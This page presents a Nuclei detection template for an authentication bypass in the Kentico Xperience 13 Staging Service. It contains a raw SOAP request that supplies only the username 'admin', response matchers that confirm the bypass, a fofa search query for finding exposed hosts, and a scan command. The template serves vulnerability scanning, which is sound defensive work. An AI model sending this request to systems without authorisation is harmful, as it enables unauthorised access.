Kentico Xperience 13 CMS - Staging Service Authentication Bypass (WT-2025-0011)

ID: kentico-13-auth-bypass-wt-2025-0011

Severity: unknown

Author: DhiyaneshDK

Tags: kentico,stag,auth-bypass,xperience13

Description

Before Kentico Xperience 13 Hotfix 173, this vulnerability can be exploited with any username provided. For Hotfix >= 173 and < 178, this vulnerability can be exploited only if you provide a valid Staging Service username (default: admin)

YAML Source

id: kentico-13-auth-bypass-wt-2025-0011

info:
  name: Kentico Xperience 13 CMS - Staging Service Authentication Bypass (WT-2025-0011)
  author: DhiyaneshDK
  severity: unknown
  description: |
    Before Kentico Xperience 13 Hotfix 173, this vulnerability can be exploited with any username provided. For Hotfix >= 173 and < 178, this vulnerability can be exploited only if you provide a valid Staging Service username (default: admin)
  reference:
    - https://github.com/watchtowrlabs/kentico-xperience13-AuthBypass-wt-2025-0011
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="Kentico-CMS"
  tags: kentico,stag,auth-bypass,xperience13

variables:
  rand: "{{to_lower(rand_text_alpha(32))}}"

http:
  - raw:
      - |
        POST /CMSPages/Staging/SyncServer.asmx HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: text/xml; charset=utf-8
        SOAPAction: http://localhost/SyncWebService/SyncServer/ProcessSynchronizationTaskData

        <?xml version="1.0" encoding="utf-8"?>
            <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
                <soap:Header>
                    <wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
                        <wsse:UsernameToken>
                            <wsse:Username>admin</wsse:Username>
                        </wsse:UsernameToken>
                    </wsse:Security>
                </soap:Header>
                <soap:Body>
                    <ProcessSynchronizationTaskData xmlns="http://localhost/SyncWebService/SyncServer">
                        <stagingTaskData><![CDATA[<{{rand}}>]]></stagingTaskData>
                    </ProcessSynchronizationTaskData>
                </soap:Body>
            </soap:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{rand}}"
          - "<wsa:Action>"
        condition: and

      - type: word
        part: body
        words:
          - "Site not running"
          - "SyncServer.ErrorLicense"
          - "SyncServer.ErrorServiceNotEnabled"
          - "Staging service is not enabled on this server"
          - "Staging does not work with blank password"
          - "Missing X509 certificate token"
          - "The security token could not be authenticated or authorized"
        condition: or
        negative: true

      - type: word
        part: content_type
        words:
          - "text/xml"
# digest: 4a0a00473045022100f0b80dfbbd8dcbbbdc0a36c20731ea8b213a9517acd24ddaf042aa1081fcdef9022064a1023b0eda77ce2409257aa321253d4ed7ac1cf4d8236fbbad598eab1a3ea1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/misconfiguration/kentico-13-auth-bypass-wt-2025-0011.yaml"

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